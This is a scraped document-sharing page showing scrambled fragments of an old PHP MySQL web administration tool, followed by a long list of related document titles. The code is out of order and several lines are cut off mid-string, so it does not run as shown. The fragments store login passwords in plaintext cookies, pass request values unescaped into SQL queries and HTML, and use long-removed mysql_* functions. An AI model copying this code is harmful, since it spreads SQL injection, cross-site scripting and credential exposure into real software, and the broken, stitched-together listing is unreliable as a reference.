createDatabase();

else if( $action == "dropDB" )

dropDatabase();

else if( $action == "listTables" )

listTables();

else if( $action == "createTable" )

createTable();

else if( $action == "dropTable" )

dropTable();

else if( $action == "viewSchema" )

viewSchema();

else if( $action == "query" )

viewData( $queryStr );

else if( $action == "addField" )

manageField( "add" );

else if( $action == "addField_submit" )

manageField_submit( "add" );

else if( $action == "editField" )

manageField( "edit" );
else if( $action == "editField_submit" )

manageField_submit( "edit" );

else if( $action == "dropField" )

dropField();

else if( $action == "viewData" )

viewData( "" );

else if( $action == "addData" )

manageData( "add" );

else if( $action == "addData_submit" )

manageData_submit( "add" );

else if( $action == "editData" )

manageData( "edit" );

else if( $action == "editData_submit" )

manageData_submit( "edit" );

else if( $action == "deleteData" )

deleteData();

else if( $action == "utils" )

utils();

mysql_close( $mysqlHandle);

footer_html();

PHP CRUD Operation Using MySQLi
50% (2)
PHP CRUD Operation Using MySQLi
13 pages
Cracker Cpanel
No ratings yet
Cracker Cpanel
12 pages
Last Nam e First Nam e Addre Ss City
100% (1)
Last Nam e First Nam e Addre Ss City
13 pages
Crud Tutorial Republic
No ratings yet
Crud Tutorial Republic
12 pages
Accessing Mysql Using Pdo: Charles Severance
No ratings yet
Accessing Mysql Using Pdo: Charles Severance
49 pages
SQL Injection Tutorial by SlixMe
No ratings yet
SQL Injection Tutorial by SlixMe
6 pages
PrepareAD FAIL
No ratings yet
PrepareAD FAIL
144 pages
Accessing Mysql Using Pdo: This Work Is Licensed Under A
No ratings yet
Accessing Mysql Using Pdo: This Work Is Licensed Under A
28 pages
Chapter 4-2 PHP Part 2
No ratings yet
Chapter 4-2 PHP Part 2
43 pages
Php-Mysql: Week 5 Dynamic Web Programming
No ratings yet
Php-Mysql: Week 5 Dynamic Web Programming
18 pages
README Procedural
No ratings yet
README Procedural
20 pages
DBMS Lab 06
No ratings yet
DBMS Lab 06
16 pages
Web07_PHP MySQL
No ratings yet
Web07_PHP MySQL
62 pages
Crud
No ratings yet
Crud
10 pages
php_mysql
No ratings yet
php_mysql
14 pages
The 7 Rs of Migration Strategies
No ratings yet
The 7 Rs of Migration Strategies
2 pages
Unit 4 Shot Notes
No ratings yet
Unit 4 Shot Notes
21 pages
Beginnerz Guide To MySQL
No ratings yet
Beginnerz Guide To MySQL
4 pages
Project Oop
No ratings yet
Project Oop
9 pages
Oracle APEX + Node - JS: John Edward Scott Kscope14
No ratings yet
Oracle APEX + Node - JS: John Edward Scott Kscope14
69 pages
Manual Del Programador
No ratings yet
Manual Del Programador
6 pages
Ec Council
No ratings yet
Ec Council
27 pages
Handy MySQL Commands
No ratings yet
Handy MySQL Commands
4 pages
PHP Basics 1-1
No ratings yet
PHP Basics 1-1
11 pages
Deleting Data From Mysql
No ratings yet
Deleting Data From Mysql
5 pages
PHP SQL Command
No ratings yet
PHP SQL Command
14 pages
CH 3
No ratings yet
CH 3
22 pages
High Level PHP
No ratings yet
High Level PHP
5 pages
Brief History of Python: SIJ1004 Introduction To Computational Biology
No ratings yet
Brief History of Python: SIJ1004 Introduction To Computational Biology
7 pages
Lesson-6-PHP-MYSQL-CRUD
No ratings yet
Lesson-6-PHP-MYSQL-CRUD
13 pages
Chapter 3 & 4
No ratings yet
Chapter 3 & 4
27 pages
PHP and MySQL
No ratings yet
PHP and MySQL
24 pages
Unit 5 PHP Part 3 (PHP - mySQL)
No ratings yet
Unit 5 PHP Part 3 (PHP - mySQL)
26 pages
PHP Database Connectivity
No ratings yet
PHP Database Connectivity
5 pages
Mysql and SQL
No ratings yet
Mysql and SQL
6 pages
IP 3 Chapter Edit
No ratings yet
IP 3 Chapter Edit
37 pages
L7B PHP and MySQL
No ratings yet
L7B PHP and MySQL
9 pages
Hii
No ratings yet
Hii
5 pages
Mysql Insert Update Delete
No ratings yet
Mysql Insert Update Delete
6 pages
Database Connectivity in PHP: PHP Tutorials by Vineet Kumar Saini
No ratings yet
Database Connectivity in PHP: PHP Tutorials by Vineet Kumar Saini
3 pages
PHP Notes2
No ratings yet
PHP Notes2
25 pages
PHP 3 Steps
No ratings yet
PHP 3 Steps
15 pages
Mysql Commands
No ratings yet
Mysql Commands
7 pages
PHP Part3
No ratings yet
PHP Part3
19 pages
php
No ratings yet
php
28 pages
Ahmed Hamdi Resume-1
No ratings yet
Ahmed Hamdi Resume-1
2 pages
Handy Mysql Commands Description Command
No ratings yet
Handy Mysql Commands Description Command
3 pages
Rishav Goyal Curriculum Vitae: Ork Experience
No ratings yet
Rishav Goyal Curriculum Vitae: Ork Experience
2 pages
Lec # 23 PHP - VI
No ratings yet
Lec # 23 PHP - VI
33 pages
001 Database Connection
No ratings yet
001 Database Connection
5 pages
AngularJS PHP MySql
No ratings yet
AngularJS PHP MySql
12 pages
Sap Abap Part1 - (PPT Powerpoint)
No ratings yet
Sap Abap Part1 - (PPT Powerpoint)
4 pages
Unit 5: Java Applets and Graphics Programming
No ratings yet
Unit 5: Java Applets and Graphics Programming
10 pages
Microsoft Visual C++ 2010 x86 Redistributable Setup - 20201214 - 195746543-MSI - VC - Red - Msi
No ratings yet
Microsoft Visual C++ 2010 x86 Redistributable Setup - 20201214 - 195746543-MSI - VC - Red - Msi
45 pages
PHP MySQL CRUD Tutorial With MySqli and PHPMyAdmin
No ratings yet
PHP MySQL CRUD Tutorial With MySqli and PHPMyAdmin
26 pages
Message
No ratings yet
Message
7 pages
Restore and Recover a Lost System Datafile Oracle Cdb_19c
No ratings yet
Restore and Recover a Lost System Datafile Oracle Cdb_19c
4 pages
Unit-5 PHP and My SQL
No ratings yet
Unit-5 PHP and My SQL
8 pages
6 GEN Iot Connected Home Ebook Iot With Aws May 2018
No ratings yet
6 GEN Iot Connected Home Ebook Iot With Aws May 2018
6 pages
Networker Foundations - SRG
No ratings yet
Networker Foundations - SRG
58 pages
CRUD PHP
No ratings yet
CRUD PHP
5 pages
Vector Databases
No ratings yet
Vector Databases
2 pages
Oracle Fusion Financial Applications: Financial OTBI Sample Report Kit Release 9 (11.1.9)
No ratings yet
Oracle Fusion Financial Applications: Financial OTBI Sample Report Kit Release 9 (11.1.9)
17 pages
WBP UNIT 5
No ratings yet
WBP UNIT 5
50 pages
wpl3
No ratings yet
wpl3
17 pages
Exercise UI CRM2006S Part3
No ratings yet
Exercise UI CRM2006S Part3
40 pages
PHP Tutorial Step by Step
No ratings yet
PHP Tutorial Step by Step
6 pages
PHP Mysql and PHP Form Processing
No ratings yet
PHP Mysql and PHP Form Processing
13 pages
Crud Mysqli
No ratings yet
Crud Mysqli
9 pages
PHP MySQL CRUD Tutorial With MySqli and PHPMyAdmin
No ratings yet
PHP MySQL CRUD Tutorial With MySqli and PHPMyAdmin
26 pages
CHAPTER 1
No ratings yet
CHAPTER 1
31 pages
Backing Up and Restoring Server Clusters - Cluster Failure and Restore Scenarios
No ratings yet
Backing Up and Restoring Server Clusters - Cluster Failure and Restore Scenarios
6 pages
1113 Extended Warehouse Management - A 3pl Perspective PDF
No ratings yet
1113 Extended Warehouse Management - A 3pl Perspective PDF
26 pages
Ethical and Security Issues
No ratings yet
Ethical and Security Issues
6 pages
PHP CRUD Application Using OOP and MYSQL
No ratings yet
PHP CRUD Application Using OOP and MYSQL
12 pages
Cyber Gate
No ratings yet
Cyber Gate
7 pages
PHP (Run On XAMPP Server) Two Files 1 Insert - HTML 2 Index - PHP
No ratings yet
PHP (Run On XAMPP Server) Two Files 1 Insert - HTML 2 Index - PHP
3 pages
PHP Database
No ratings yet
PHP Database
22 pages
DATABASEPROG
No ratings yet
DATABASEPROG
15 pages
5 - Requirements Life Cycle Management - CS
No ratings yet
5 - Requirements Life Cycle Management - CS
62 pages
Asp Practical File
No ratings yet
Asp Practical File
69 pages
PHP and MYSQL
No ratings yet
PHP and MYSQL
19 pages
Data Modeling and Erwin Day 4 Erwin
No ratings yet
Data Modeling and Erwin Day 4 Erwin
10 pages
Database Design DBT1111C 5
No ratings yet
Database Design DBT1111C 5
7 pages
6030 Project
100% (5)
6030 Project
29 pages
PHP MySQL Function
No ratings yet
PHP MySQL Function
6 pages
SASE Certification - Attempt Review
No ratings yet
SASE Certification - Attempt Review
6 pages
Network Audit Checklist
100% (2)
Network Audit Checklist
22 pages
Odoo Guidelines
No ratings yet
Odoo Guidelines
15 pages
No Ph.D. Game Design With Three.js
From Everand
No Ph.D. Game Design With Three.js
Nikiforos Kontopoulos
No ratings yet

Uploaded by

Uploaded by

iconpln.co.

* Mysql interface v1.0

echo "<title>Mysql interface</title>\n";

echo "<table width=100% height=100%><tr><td><center>\n";

echo "<table cellpadding=2><tr><td bgcolor=#0090FF><center>\n";

echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";

echo "<h1><b><font color=#FF0000>Mysql Interface v1.0</font></b></h1>\n";

echo "<form action='$PHP_SELF'>\n";

echo "<table cellpadding=5 cellspacing=1>\n";

echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";

echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";

echo "<input type=submit value='Enter'>\n";

echo "<input type=reset value='Clear'><br>\n";

echo "<p><hr width=300>\n";

echo "<font size=2>\n";

echo "Copyright &copy; 2005\n <br>";

global $username, $password, $PHP_SELF;

setcookie( "mysql_web_admin_username", $username );

setcookie( "mysql_web_admin_password", $password );

echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";

global $queryStr, $errMsg;

if( $errMsg == "" ) $errMsg = "Success";

if( $queryStr != "" ) {

echo "<table cellpadding=5>\n";

global $mysqlHandle, $PHP_SELF;

echo "<h1>Database List</h1>\n";

echo "<form action='$PHP_SELF'>\n";

echo "<input type=hidden name=action value=createDB>\n";

echo "<input type=text name=dbname>\n";

echo "<input type=submit value='Create Database'>\n";

echo "<table cellspacing=1 cellpadding=5>\n";

$pDB = mysql_list_dbs( $mysqlHandle );

for( $i = 0; $i < $num; $i++ ) {

$dbname = mysql_dbname( $pDB, $i );

echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Table</a></td>\n";

echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop

echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname'>Dump</a></td>\n";

global $mysqlHandle, $dbname, $PHP_SELF;

mysql_create_db( $dbname, $mysqlHandle );

global $mysqlHandle, $dbname, $PHP_SELF;

mysql_drop_db( $dbname, $mysqlHandle );

echo "<h1>Table List</h1>\n";

echo "<p class=location>$dbname</p>\n";

echo "<form action='$PHP_SELF'>\n";

echo "<input type=hidden name=action value=createTable>\n";

echo "<input type=hidden name=dbname value=$dbname>\n";

echo "<input type=text name=tablename>\n";

echo "<input type=submit value='Create Table'>\n";

echo "<form action='$PHP_SELF'>\n";

echo "<input type=hidden name=action value=query>\n";

echo "<input type=hidden name=dbname value=$dbname>\n";

echo "<input type=text size=40 name=queryStr>\n";

//echo "<textarea cols=30 rows=3 name=queryStr></textarea><br>";

echo "<input type=submit value='Query'>\n";

$pTable = mysql_list_tables( $dbname );

echo "<h3>Error : $msg</h3><p>\n";

$num = mysql_num_rows( $pTable );

for( $i = 0; $i < $num; $i++ ) {

$tablename = mysql_tablename( $pTable, $i );

echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename'

global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

$queryStr = "CREATE TABLE $tablename ( no INT )";

mysql_select_db( $dbname, $mysqlHandle );

mysql_query( $queryStr, $mysqlHandle );

global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

$queryStr = "DROP TABLE $tablename";

mysql_select_db( $dbname, $mysqlHandle );

mysql_query( $queryStr, $mysqlHandle );

global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

echo "<h1>Table Schema</h1>\n";

echo "<p class=location>$dbname &gt; $tablename</p>\n";

echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add

echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View

$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );

$num = mysql_num_rows( $pResult );

echo "<table cellspacing=1 cellpadding=5>\n";

echo "<th colspan=2>Action</th>\n";

for( $i = 0; $i < $num; $i++ ) {

echo "Copyright © 2005\n <br>";

echo "<p class=location>$dbname > $tablename</p>\n";

echo "<p class=location>$dbname > $tablename</p>\n";